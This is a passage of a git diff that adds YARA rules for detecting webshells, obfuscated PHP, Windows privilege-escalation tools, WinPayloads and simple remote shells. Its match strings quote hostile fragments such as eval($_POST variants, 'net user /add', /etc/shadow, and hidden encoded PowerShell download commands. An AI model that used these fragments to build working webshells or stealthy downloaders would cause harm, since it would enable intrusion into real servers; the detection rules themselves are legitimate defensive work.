+        $no_xml1 = "<?xml version" nocase wide ascii
+        $no_xml2 = "<?xml-stylesheet" nocase wide ascii
+        $no_asp1 = "<%@LANGUAGE" nocase wide ascii
+        $no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
+        $no_pdf = "<?xpacket"
+
+        // of course the new tags should also match
+        // already matched by "<?"
+        $php_new1 = /<\?=[^?]/ wide ascii
+        $php_new2 = "<?php" nocase wide ascii
+        $php_new3 = "<script language=\"php" nocase wide ascii
+
+        //strings from private rule capa_jsp_safe
+        $cjsp_short1 = "<%" ascii wide
+        $cjsp_short2 = "%>" wide ascii
+        $cjsp_long1 = "<jsp:" ascii wide
+        $cjsp_long2 = /language=[\"']java[\"\']/ ascii wide
+        // JSF
+        $cjsp_long3 = "/jstl/core" ascii wide
+        $cjsp_long4 = "<%@p" nocase ascii wide
+        $cjsp_long5 = "<%@ " nocase ascii wide
+        $cjsp_long6 = "<% " ascii wide
+        $cjsp_long7 = "< %" ascii wide
+
+        //strings from private rule capa_os_strings
+        // windows = nocase
+        $w1 = "net localgroup administrators" nocase wide ascii
+        $w2 = "net user" nocase wide ascii
+        $w3 = "/add" nocase wide ascii
+        // linux stuff, case sensitive:
+        $l1 = "/etc/shadow" wide ascii
+        $l2 = "/etc/ssh/sshd_config" wide ascii
+        $take_two1 = "net user" nocase wide ascii
+        $take_two2 = "/add" nocase wide ascii
+
+    condition:
+        filesize < 70KB and
+        ( (
+        (
+            any of ( $tagasp_long* ) or
+            // TODO :  yara_push_private_rules.py doesn't do private rules in private rules yet
+            any of ( $tagasp_classid* ) or
+            (
+                $tagasp_short1 and
+                $tagasp_short2 in ( filesize-100..filesize )
+            ) or (
+                $tagasp_short2 and (
+                    $tagasp_short1 in ( 0..1000 ) or
+                    $tagasp_short1 in ( filesize-1000..filesize )
+                )
+            )
+        ) and not (
+            (
+                any of ( $perl* ) or
+                $php1 at 0 or
+                $php2 at 0
+            ) or (
+                ( #jsp1 + #jsp2 + #jsp3 ) > 0 and ( #jsp4 + #jsp5 + #jsp6 + #jsp7 ) > 0
+                )
+        )
+        )
+        or (
+            (
+                (
+                        $php_short in (0..100) or
+                        $php_short in (filesize-1000..filesize)
+                )
+                and not any of ( $no_* )
+            )
+            or any of ( $php_new* )
+        )
+        or (
+        $cjsp_short1 at 0 or
+            any of ( $cjsp_long* ) or
+            $cjsp_short2 in ( filesize-100..filesize ) or
+        (
+            $cjsp_short2 and (
+                $cjsp_short1 in ( 0..1000 ) or
+                $cjsp_short1 in ( filesize-1000..filesize )
+            )
+        )
+        )
+        ) and (
+            filesize < 300KB and
+        not uint16(0) == 0x5a4d and (
+            all of ( $w* ) or
+            all of ( $l* ) or
+            2 of ( $take_two* )
+        )
+        )
+        and not any of ( $fp* )
+}
+
+rule WEBSHELL_In_Image
+{
+    meta:
+        description = "Webshell in GIF, PNG or JPG"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        reference = "Internal Research"
+        hash = "d4fde4e691db3e70a6320e78657480e563a9f87935af873a99db72d6a9a83c78"
+        hash = "84938133ee6e139a2816ab1afc1c83f27243c8ae76746ceb2e7f20649b5b16a4"
+        hash = "52b918a64afc55d28cd491de451bb89c57bce424f8696d6a94ec31fb99b17c11"
+        date = "2021/02/27"
+        modified = "2024-03-11"
+        score = 55
+
+        id = "b1185b69-9b08-5925-823a-829fee6fa4cf"
+    strings:
+        $png = { 89 50 4E 47 }
+        $jpg = { FF D8 FF E0 }
+        $gif = "GIF8" wide ascii // doesn't make sense for a GIF but some webshells are utf8 :)
+        $gif2 = "gif89" // not a valid gif but used in webshells
+        $gif3 = "Gif89" // not a valid gif but used in webshells
+        // MS access
+        $mdb = { 00 01 00 00 53 74 }
+        //$mdb = { 00 01 00 00 53 74 61 6E 64 61 72 64 20 4A 65 74 20 44 42 }
+
+        //strings from private rule capa_php_old_safe
+        $php_short = "<?" wide ascii
+        // prevent xml and asp from hitting with the short tag
+        $no_xml1 = "<?xml version" nocase wide ascii
+        $no_xml2 = "<?xml-stylesheet" nocase wide ascii
+        $no_asp1 = "<%@LANGUAGE" nocase wide ascii
+        $no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
+        $no_pdf = "<?xpacket"
+
+        // of course the new tags should also match
+        // already matched by "<?"
+        $php_new1 = /<\?=[^?]/ wide ascii
+        $php_new2 = "<?php" nocase wide ascii
+        $php_new3 = "<script language=\"php" nocase wide ascii
+
+        //strings from private rule capa_php_payload
+        // \([^)] to avoid matching on e.g. eval() in comments
+        $cpayload1 = /\beval[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $cpayload2 = /\bexec[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $cpayload3 = /\bshell_exec[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $cpayload4 = /\bpassthru[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $cpayload5 = /\bsystem[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $cpayload6 = /\bpopen[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $cpayload7 = /\bproc_open[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $cpayload8 = /\bpcntl_exec[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $cpayload9 = /\bassert[\n\t ]{0,500}\([^)0]/ nocase wide ascii
+        $cpayload10 = /\bpreg_replace[\n\t ]{0,500}\([^\)]{1,100}\/[ismxADSUXju]{0,11}(e|\\x65)/ nocase wide ascii
+        $cpayload12 = /\bmb_ereg_replace[\t ]{0,500}\([^\)]{1,100}'e'/ nocase wide ascii
+        $cpayload13 = /\bmb_eregi_replace[\t ]{0,500}\([^\)]{1,100}'e'/ nocase wide ascii
+        $cpayload20 = /\bcreate_function[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $cpayload21 = /\bReflectionFunction[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $cpayload22 = /fetchall\(PDO::FETCH_FUNC[\n\t ]{0,500}[,}\)]/ nocase wide ascii
+
+        $m_cpayload_preg_filter1 = /\bpreg_filter[\n\t ]{0,500}(\([^\)]|\/\*)/ nocase wide ascii
+        $m_cpayload_preg_filter2 = "'|.*|e'" nocase wide ascii
+        // TODO backticks
+
+        //strings from private rule capa_php_write_file
+        $php_multi_write1 = "fopen(" wide ascii
+        $php_multi_write2 = "fwrite(" wide ascii
+        $php_write1 = "move_uploaded_file" fullword wide ascii
+
+        //strings from private rule capa_jsp
+        $cjsp1 = "<%" ascii wide
+        $cjsp2 = "<jsp:" ascii wide
+        $cjsp3 = /language=[\"']java[\"\']/ ascii wide
+        // JSF
+        $cjsp4 = "/jstl/core" ascii wide
+
+        //strings from private rule capa_jsp_payload
+        $payload1 = "ProcessBuilder" fullword ascii wide
+        $payload2 = "processCmd" fullword ascii wide
+        // Runtime.getRuntime().exec(
+        $rt_payload1 = "Runtime" fullword ascii wide
+        $rt_payload2 = "getRuntime" fullword ascii wide
+        $rt_payload3 = "exec" fullword ascii wide
+
+        //strings from private rule capa_asp
+        $tagasp_short1 = /<%[^"]/ wide ascii
+        // also looking for %> to reduce fp (yeah, short atom but seldom since special chars)
+        $tagasp_short2 = "%>" wide ascii
+
+        // classids for scripting host etc
+        $tagasp_classid1 = "72C24DD5-D70A-438B-8A42-98424B88AFB8" nocase wide ascii
+        $tagasp_classid2 = "F935DC22-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
+        $tagasp_classid3 = "093FF999-1EA0-4079-9525-9614C3504B74" nocase wide ascii
+        $tagasp_classid4 = "F935DC26-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
+        $tagasp_classid5 = "0D43FE01-F093-11CF-8940-00A0C9054228" nocase wide ascii
+        $tagasp_long10 = "<%@ " wide ascii
+        // <% eval
+        $tagasp_long11 = /<% \w/ nocase wide ascii
+        $tagasp_long12 = "<%ex" nocase wide ascii
+        $tagasp_long13 = "<%ev" nocase wide ascii
+
+        // <%@ LANGUAGE = VBScript.encode%>
+        // <%@ Language = "JScript" %>
+
+        // <%@ WebHandler Language="C#" class="Handler" %>
+        // <%@ WebService Language="C#" Class="Service" %>
+
+        // <%@Page Language="Jscript"%>
+        // <%@ Page Language = Jscript %>
+        // <%@PAGE LANGUAGE=JSCRIPT%>
+        // <%@ Page Language="Jscript" validateRequest="false" %>
+        // <%@ Page Language = Jscript %>
+        // <%@ Page Language="C#" %>
+        // <%@ Page Language="VB" ContentType="text/html" validaterequest="false" AspCompat="true" Debug="true" %>
+        // <script runat="server" language="JScript">
+        // <SCRIPT RUNAT=SERVER LANGUAGE=JSCRIPT>
+        // <SCRIPT  RUNAT=SERVER  LANGUAGE=JSCRIPT>
+        // <msxsl:script language="JScript" ...
+        $tagasp_long20 = /<(%|script|msxsl:script).{0,60}language="?(vb|jscript|c#)/ nocase wide ascii
+
+        $tagasp_long32 = /<script\s{1,30}runat=/ wide ascii
+        $tagasp_long33 = /<SCRIPT\s{1,30}RUNAT=/ wide ascii
+
+        // avoid hitting php
+        $php1 = "<?php"
+        $php2 = "<?="
+
+        // avoid hitting jsp
+        $jsp1 = "=\"java." wide ascii
+        $jsp2 = "=\"javax." wide ascii
+        $jsp3 = "java.lang." wide ascii
+        $jsp4 = "public" fullword wide ascii
+        $jsp5 = "throws" fullword wide ascii
+        $jsp6 = "getValue" fullword wide ascii
+        $jsp7 = "getBytes" fullword wide ascii
+
+        $perl1 = "PerlScript" fullword
+
+
+        //strings from private rule capa_asp_payload
+        $asp_payload0  = "eval_r" fullword nocase wide ascii
+        $asp_payload1  = /\beval\s/ nocase wide ascii
+        $asp_payload2  = /\beval\(/ nocase wide ascii
+        $asp_payload3  = /\beval\"\"/ nocase wide ascii
+        // var Fla = {'E':eval};  Fla.E(code)
+        $asp_payload4  = /:\s{0,10}eval\b/ nocase wide ascii
+        $asp_payload8  = /\bexecute\s?\(/ nocase wide ascii
+        $asp_payload9  = /\bexecute\s[\w"]/ nocase wide ascii
+        $asp_payload11 = "WSCRIPT.SHELL" fullword nocase wide ascii
+        $asp_payload13 = "ExecuteGlobal" fullword nocase wide ascii
+        $asp_payload14 = "ExecuteStatement" fullword nocase wide ascii
+        $asp_payload15 = "ExecuteStatement" fullword nocase wide ascii
+        $asp_multi_payload_one1 = "CreateObject" nocase fullword wide ascii
+        $asp_multi_payload_one2 = "addcode" fullword wide ascii
+        $asp_multi_payload_one3 = /\.run\b/ wide ascii
+        $asp_multi_payload_two1 = "CreateInstanceFromVirtualPath" fullword wide ascii
+        $asp_multi_payload_two2 = "ProcessRequest" fullword wide ascii
+        $asp_multi_payload_two3 = "BuildManager" fullword wide ascii
+        $asp_multi_payload_three1 = "System.Diagnostics" wide ascii
+        $asp_multi_payload_three2 = "Process" fullword wide ascii
+        $asp_multi_payload_three3 = ".Start" wide ascii
+        // this is about "MSXML2.DOMDocument" but since that's easily obfuscated, lets not search for it
+        $asp_multi_payload_four1 = "CreateObject" fullword nocase wide ascii
+        $asp_multi_payload_four2 = "TransformNode" fullword nocase wide ascii
+        $asp_multi_payload_four3 = "loadxml" fullword nocase wide ascii
+
+        // execute cmd.exe /c with arguments using ProcessStartInfo
+        $asp_multi_payload_five1 = "ProcessStartInfo" fullword nocase wide ascii
+        $asp_multi_payload_five2 = ".Start" nocase wide ascii
+        $asp_multi_payload_five3 = ".Filename" nocase wide ascii
+        $asp_multi_payload_five4 = ".Arguments" nocase wide ascii
+
+
+        //strings from private rule capa_asp_write_file
+        // $asp_write1 = "ADODB.Stream" wide ascii # just a string, can be easily obfuscated
+        $asp_always_write1 = /\.write/ nocase wide ascii
+        $asp_always_write2 = /\.swrite/ nocase wide ascii
+        //$asp_write_way_one1 = /\.open\b/ nocase wide ascii
+        $asp_write_way_one2 = "SaveToFile" fullword nocase wide ascii
+        $asp_write_way_one3 = "CREAtEtExtFiLE" fullword nocase wide ascii
+        $asp_cr_write1 = "CreateObject(" nocase wide ascii
+        $asp_cr_write2 = "CreateObject (" nocase wide ascii
+        $asp_streamwriter1 = "streamwriter" fullword nocase wide ascii
+        $asp_streamwriter2 = "filestream" fullword nocase wide ascii
+
+    condition:
+        // reduce fp
+        //any of them or
+        filesize < 5MB and
+        // also check for GIF8 at 0x3 because some folks write their webshell in a text editor and have a BOM in front of GIF8 (which probably wouldn't be a valif GIF anymore :)
+        ( $png at 0 or $jpg at 0 or $gif at 0 or $gif at 3 or $gif2 at 0 or $gif2 at 3 or $gif3 at 0 or $mdb at 0 ) and
+        ( ( (
+            (
+                (
+                        $php_short in (0..100) or
+                        $php_short in (filesize-1000..filesize)
+                )
+                and not any of ( $no_* )
+            )
+            or any of ( $php_new* )
+        )
+        and
+        ( (
+            any of ( $cpayload* ) or
+        all of ( $m_cpayload_preg_filter* )
+        )
+        or (
+        any of ( $php_write* ) or
+        all of ( $php_multi_write* )
+        )
+        ) ) or
+        ( (
+            any of ( $cjsp* )
+        )
+        and (
+        1 of ( $payload* ) or
+        all of ( $rt_payload* )
+        )
+        ) or
+        ( (
+        (
+            any of ( $tagasp_long* ) or
+            // TODO :  yara_push_private_rules.py doesn't do private rules in private rules yet
+            any of ( $tagasp_classid* ) or
+            (
+                $tagasp_short1 and
+                $tagasp_short2 in ( filesize-100..filesize )
+            ) or (
+                $tagasp_short2 and (
+                    $tagasp_short1 in ( 0..1000 ) or
+                    $tagasp_short1 in ( filesize-1000..filesize )
+                )
+            )
+        ) and not (
+            (
+                any of ( $perl* ) or
+                $php1 at 0 or
+                $php2 at 0
+            ) or (
+                ( #jsp1 + #jsp2 + #jsp3 ) > 0 and ( #jsp4 + #jsp5 + #jsp6 + #jsp7 ) > 0
+                )
+        )
+        )
+        and
+        ( (
+            any of ( $asp_payload* ) or
+        all of ( $asp_multi_payload_one* ) or
+        all of ( $asp_multi_payload_two* ) or
+        all of ( $asp_multi_payload_three* ) or
+        all of ( $asp_multi_payload_four* ) or
+        all of ( $asp_multi_payload_five* )
+        )
+        or (
+        any of ( $asp_always_write* ) and
+        (
+            any of ( $asp_write_way_one* ) and
+            any of ( $asp_cr_write* )
+        ) or (
+            any of ( $asp_streamwriter* )
+        )
+        )
+        ) ) )
+}
+
+rule WEBSHELL_Mixed_OBFUSC {
+   meta:
+      description = "Detects webshell with mixed obfuscation commands"
+      author = "Arnim Rupp (https://github.com/ruppde)"
+      reference = "Internal Research"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      date = "2023-01-28"
+      modified = "2023-04-05"
+      hash1 = "8c4e5c6bdfcc86fa27bdfb075a7c9a769423ec6d53b73c80cbc71a6f8dd5aace"
+      hash2 = "78f2086b6308315f5f0795aeaa75544128f14889a794205f5fc97d7ca639335b"
+      hash3 = "3bca764d44074820618e1c831449168f220121698a7c82e9909f8eab2e297cbd"
+      hash4 = "b26b5e5cba45482f486ff7c75b54c90b7d1957fd8e272ddb4b2488ec65a2936e"
+      hash5 = "e217be2c533bfddbbdb6dc6a628e0d8756a217c3ddc083894e07fd3a7408756c"
+      score = 50
+      id = "dcb4054b-0c87-5cd0-9297-7fd5f2e37437"
+   strings:
+      $s1 = "rawurldecode/*" ascii
+      $s2 = "preg_replace/*" ascii
+      $s3 = " __FILE__/*" ascii
+      $s4 = "strlen/*" ascii
+      $s5 = "str_repeat/*" ascii
+      $s6 = "basename/*" ascii
+   condition:
+      ( uint16(0) == 0x3f3c and filesize < 200KB and ( 4 of them ))
+}
+
+rule WEBSHELL_Cookie_Post_Obfuscation {
+    meta:
+        description = "Detects webshell using cookie POST"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        reference = "Internal Research"
+        score = 75
+        date = "2023-01-28"
+        modified = "2023-04-05"
+        license = "https://github.com/SigmaHQ/Detection-Rule-License/blob/main/LICENSE.Detection.Rules.md"
+        hash = "d08a00e56feb78b7f6599bad6b9b1d8626ce9a6ea1dfdc038358f4c74e6f65c9"
+        hash = "2ce5c4d31682a5a59b665905a6f698c280451117e4aa3aee11523472688edb31"
+        hash = "ff732d91a93dfd1612aed24bbb4d13edb0ab224d874f622943aaeeed4356c662"
+        hash = "a3b64e9e065602d2863fcab641c75f5d8ec67c8632db0f78ca33ded0f4cea257"
+        hash = "d41abce305b0dc9bd3a9feb0b6b35e8e39db9e75efb055d0b1205a9f0c89128e"
+        hash = "333560bdc876fb0186fae97a58c27dd68123be875d510f46098fc5a61615f124"
+        hash = "2efdb79cdde9396ff3dd567db8876607577718db692adf641f595626ef64d3a4"
+        hash = "e1bd3be0cf525a0d61bf8c18e3ffaf3330c1c27c861aede486fd0f1b6930f69a"
+        hash = "f8cdedd21b2cc29497896ec5b6e5863cd67cc1a798d929fd32cdbb654a69168a"
+
+        id = "cc5ded80-5e58-5b25-86d1-1c492042c740"
+    strings:
+        $s1 = "]($_COOKIE, $_POST) as $"
+        $s2 = "function"
+        $s3 = "Array"
+    condition:
+    ( uint16(0) == 0x3f3c and filesize < 100KB and ( all of them ))
+}
diff --git a/yara-Neo23x0/gen_webshells_ext_vars.yar b/yara-Neo23x0/gen_webshells_ext_vars.yar
new file mode 100644
index 0000000..dc18c72
--- /dev/null
+++ b/yara-Neo23x0/gen_webshells_ext_vars.yar
@@ -0,0 +1,103 @@
+/* 
+	Webshell rules that use external variables for false positive filtering
+*/
+
+rule webshell_php_by_string_obfuscation : FILE {
+	meta:
+		description = "PHP file containing obfuscation strings. Might be legitimate code obfuscated for whatever reasons, a webshell or can be used to insert malicious Javascript for credit card skimming"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Arnim Rupp"
+		date = "2021/01/09"
+		modified = "2022-10-25"
+		hash = "e4a15637c90e8eabcbdc748366ae55996dbec926382220c423e754bd819d22bc"
+		id = "be890bf6-de7e-588e-b5cd-72e8081d0b9c"
+	strings:
+		$opbs13 = "{\"_P\"./*-/*-*/\"OS\"./*-/*-*/\"T\"}" wide ascii
+		$opbs14 = "/*-/*-*/\"" wide ascii
+		$opbs16 = "'ev'.'al'" wide ascii
+		$opbs17 = "'e'.'val'" wide ascii
+		$opbs18 = "e'.'v'.'a'.'l" wide ascii
+		$opbs19 = "bas'.'e6'." wide ascii
+		$opbs20 = "ba'.'se6'." wide ascii
+		$opbs21 = "as'.'e'.'6'" wide ascii
+		$opbs22 = "gz'.'inf'." wide ascii
+		$opbs23 = "gz'.'un'.'c" wide ascii
+		$opbs24 = "e'.'co'.'d" wide ascii
+		$opbs25 = "cr\".\"eat" wide ascii
+		$opbs26 = "un\".\"ct" wide ascii
+		$opbs27 = "'c'.'h'.'r'" wide ascii
+		$opbs28 = "\"ht\".\"tp\".\":/\"" wide ascii
+		$opbs29 = "\"ht\".\"tp\".\"s:" wide ascii
+		$opbs31 = "'ev'.'al'" nocase wide ascii
+		$opbs32 = "eval/*" nocase wide ascii
+		$opbs33 = "eval(/*" nocase wide ascii
+		$opbs34 = "eval(\"/*" nocase wide ascii
+		$opbs36 = "assert/*" nocase wide ascii
+		$opbs37 = "assert(/*" nocase wide ascii
+		$opbs38 = "assert(\"/*" nocase wide ascii
+		$opbs40 = "'ass'.'ert'" nocase wide ascii
+		$opbs41 = "${'_'.$_}['_'](${'_'.$_}['__'])" wide ascii
+		$opbs44 = "'s'.'s'.'e'.'r'.'t'" nocase wide ascii
+		$opbs45 = "'P'.'O'.'S'.'T'" wide ascii
+		$opbs46 = "'G'.'E'.'T'" wide ascii
+		$opbs47 = "'R'.'E'.'Q'.'U'" wide ascii
+		$opbs48 = "se'.(32*2)" nocase
+		$opbs49 = "'s'.'t'.'r_'" nocase
+		$opbs50 = "'ro'.'t13'" nocase
+		$opbs51 = "c'.'od'.'e" nocase
+		$opbs53 = "e'. 128/2 .'_' .'d"
+        // move malicious code out of sight if line wrapping not enabled
+		$opbs54 = "<?php                                                                                                                                                                                " //here I end
+		$opbs55 = "=chr(99).chr(104).chr(114);$_"
+		$opbs56 = "\\x47LOBAL"
+		$opbs57 = "pay\".\"load"
+		$opbs58 = "bas'.'e64"
+		$opbs59 = "dec'.'ode"
+		$opbs60 = "fla'.'te"
+        // rot13 of eval($_POST
+		$opbs70 = "riny($_CBFG["
+		$opbs71 = "riny($_TRG["
+		$opbs72 = "riny($_ERDHRFG["
+		$opbs73 = "eval(str_rot13("
+		$opbs74 = "\"p\".\"r\".\"e\".\"g\""
+		$opbs75 = "$_'.'GET"
+		$opbs76 = "'ev'.'al("
+        // eval( in hex
+		$opbs77 = "\\x65\\x76\\x61\\x6c\\x28" wide ascii nocase
+
+		//strings from private rule capa_php_old_safe
+		$php_short = "<?" wide ascii
+		// prevent xml and asp from hitting with the short tag
+		$no_xml1 = "<?xml version" nocase wide ascii
+		$no_xml2 = "<?xml-stylesheet" nocase wide ascii
+		$no_asp1 = "<%@LANGUAGE" nocase wide ascii
+		$no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
+		$no_pdf = "<?xpacket"
+
+		// of course the new tags should also match
+        // already matched by "<?"
+		$php_new1 = /<\?=[^?]/ wide ascii
+		$php_new2 = "<?php" nocase wide ascii
+		$php_new3 = "<script language=\"php" nocase wide ascii
+
+		$fp1 = "NanoSpell TinyMCE Spellchecker for PHP" ascii fullword
+	condition:
+		filesize < 500KB and (
+			(
+				(
+						$php_short in (0..100) or
+						$php_short in (filesize-1000..filesize)
+				)
+				and not any of ( $no_* )
+			)
+			or any of ( $php_new* )
+		)
+		and any of ( $opbs* )
+		and not 1 of ($fp*)
+      and not filepath contains "\\Cache\\" /* generic cache e.g. for Chrome: \User Data\Default\Cache\ */
+      and not filepath contains "\\User Data\\Default\\Extensions\\" // chrome extensions
+      and not filepath contains "\\cache2\\" // FF cache
+      and not filepath contains "\\Microsoft\\Windows\\INetCache\\IE\\" // old IE
+      and not filepath contains "/com.apple.Safari/WebKitCache/"
+      and not filepath contains "\\Edge\\User Data\\" // some uncommon Edge path
+}
diff --git a/yara-Neo23x0/gen_win_privesc.yar b/yara-Neo23x0/gen_win_privesc.yar
new file mode 100644
index 0000000..099fd1d
--- /dev/null
+++ b/yara-Neo23x0/gen_win_privesc.yar
@@ -0,0 +1,62 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-06-02
+	Identifier: Win Privilege Escalation
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Win_PrivEsc_gp3finder_v4_0 {
+	meta:
+		description = "Detects a tool that can be used for privilege escalation - file gp3finder_v4.0.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://grimhacker.com/2015/04/10/gp3finder-group-policy-preference-password-finder/"
+		date = "2016-06-02"
+		score = 80
+		hash1 = "7d34e214ef2ca33516875fb91a72d5798f89b9ea8964d3990f99863c79530c06"
+		id = "3b310c12-ac69-527b-9503-1486ae5f692c"
+	strings:
+		$x1 = "Check for and attempt to decrypt passwords on share" ascii
+		$x2 = "Failed to auto get and decrypt passwords. {0}s/" fullword ascii
+		$x3 = "GPPPFinder - Group Policy Preference Password Finder" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and 1 of ($x*) ) or ( all of them )
+}
+
+rule Win_PrivEsc_folderperm {
+	meta:
+		description = "Detects a tool that can be used for privilege escalation - file folderperm.ps1"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://www.greyhathacker.net/?p=738"
+		date = "2016-06-02"
+		score = 80
+		hash1 = "1aa87df34826b1081c40bb4b702750587b32d717ea6df3c29715eb7fc04db755"
+		id = "131fdb57-f9ca-5247-8bb4-c939eff5b8bf"
+	strings:
+		$x1 = "# powershell.exe -executionpolicy bypass -file folderperm.ps1" fullword ascii
+		$x2 = "Write-Host \"[i] Dummy test file used to test access was not outputted:\" $filetocopy" fullword ascii
+		$x3 = "Write-Host -foregroundColor Red \"      Access denied :\" $myarray[$i] " fullword ascii
+	condition:
+		1 of them
+}
+
+rule Win_PrivEsc_ADACLScan4_3 {
+	meta:
+		description = "Detects a tool that can be used for privilege escalation - file ADACLScan4.3.ps1"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://adaclscan.codeplex.com/"
+		score = 60
+		date = "2016-06-02"
+		hash1 = "3473ddb452de7640fab03cad3e8aaf6a527bdd6a7a311909cfef9de0b4b78333"
+		id = "15867a9c-9b9b-5d29-bf51-2b3e91af556f"
+	strings:
+		$s1 = "<Label x:Name=\"lblPort\" Content=\"Port:\"  HorizontalAlignment=\"Left\" Height=\"28\" Margin=\"10,0,0,0\" Width=\"35\"/>" fullword ascii
+		$s2 = "(([System.IconExtractor]::Extract(\"mmcndmgr.dll\", 126, $true)).ToBitMap()).Save($env:temp + \"\\Other.png\")    " fullword ascii
+		$s3 = "$bolValid = $ctx.ValidateCredentials($psCred.UserName,$psCred.GetNetworkCredential().Password)" fullword ascii
+	condition:
+		all of them
+}
diff --git a/yara-Neo23x0/gen_winpayloads.yar b/yara-Neo23x0/gen_winpayloads.yar
new file mode 100644
index 0000000..b1a73f8
--- /dev/null
+++ b/yara-Neo23x0/gen_winpayloads.yar
@@ -0,0 +1,50 @@
+
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-07-11
+   Identifier: WinPayloads
+   Reference: https://github.com/nccgroup/Winpayloads
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule WinPayloads_PowerShell {
+   meta:
+      description = "Detects WinPayloads PowerShell Payload"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/nccgroup/Winpayloads"
+      date = "2017-07-11"
+      hash1 = "011eba8f18b66634f6eb47527b4ceddac2ae615d6861f89a35dbb9fc591cae8e"
+      id = "8b6b8823-4656-5b0d-9a1e-84045287f5bf"
+   strings:
+      $x1 = "$Base64Cert = 'MIIJeQIBAzCCCT8GCSqGSIb3DQEHAaCCCTAEggksMIIJKDCCA98GCSqGSIb3DQEHBqCCA9AwggPMAgEAMIIDxQYJKoZIhvcNAQcBMBwGCiqGSIb3D" ascii
+      $x2 = "powershell -w hidden -noni -enc SQBF" fullword ascii nocase
+      $x3 = "SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwA" ascii
+      $x4 = "powershell.exe -WindowStyle Hidden -enc JABjAGwAaQBlAG4AdAA" ascii
+   condition:
+      filesize < 10KB and 1 of them
+}
+
+rule WinPayloads_Payload {
+   meta:
+      description = "Detects WinPayloads Payload"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/nccgroup/Winpayloads"
+      date = "2017-07-11"
+      super_rule = 1
+      hash1 = "23a24f99c3c6c00cd4bf6cb968f813ba2ceadfa846c7f169f412bcbb71ba6573"
+      hash2 = "35069905d9b7ba1fd57c8df03614f563504194e4684f47aafa08ebb8d9409d0b"
+      hash3 = "a28d107f168d85c38fc76229b14561b472e60e60973eb10b6b554c1f57469322"
+      hash4 = "ed93e28ca18f749a78678b1e8e8ac31f4c6c0bab2376d398b413dbdfd5af9c7f"
+      hash5 = "26f5aee1ce65158e8375deb63c27edabfc9f5de3c1c88a4ce26a7e50b315b6d8"
+      hash6 = "b25a515706085dbde0b98deaf647ef9a8700604652c60c6b706a2ff83fdcbf45"
+      id = "44fae324-1fc8-5417-950a-8a3783b6d2ae"
+   strings:
+      $s1 = "bpayload.exe.manifest" fullword ascii
+      $s2 = "spayload" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 10000KB and all of them )
+}
diff --git a/yara-Neo23x0/gen_winshells.yar b/yara-Neo23x0/gen_winshells.yar
new file mode 100644
index 0000000..7b9a902
--- /dev/null
+++ b/yara-Neo23x0/gen_winshells.yar
@@ -0,0 +1,122 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-03-26
+	Identifier: Windows Shells
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule WindowsShell_s3 {
+	meta:
+		description = "Detects simple Windows shell - file s3.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://github.com/odzhan/shells/"
+		date = "2016-03-26"
+		hash = "344575a58db288c9b5dacc654abc36d38db2e645acff05e894ff51183c61357d"
+		id = "064754a7-8639-5dbd-93f3-906662b8e9bc"
+	strings:
+		$s1 = "cmd                  - execute cmd.exe" fullword ascii
+		$s2 = "\\\\.\\pipe\\%08X" fullword ascii
+		$s3 = "get <remote> <local> - download file" fullword ascii
+		$s4 = "[ simple remote shell for windows v3" fullword ascii
+		$s5 = "REMOTE: CreateFile(\"%s\")" fullword ascii
+		$s6 = "put <local> <remote> - upload file" fullword ascii
+		$s7 = "term                 - terminate remote client" fullword ascii
+		$s8 = "[ downloading \"%s\" to \"%s\"" fullword ascii
+		$s9 = "-l           Listen for incoming connections" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 150KB and 2 of them ) or ( 5 of them )
+}
+
+rule WindosShell_s1 {
+	meta:
+		description = "Detects simple Windows shell - file s1.exe"
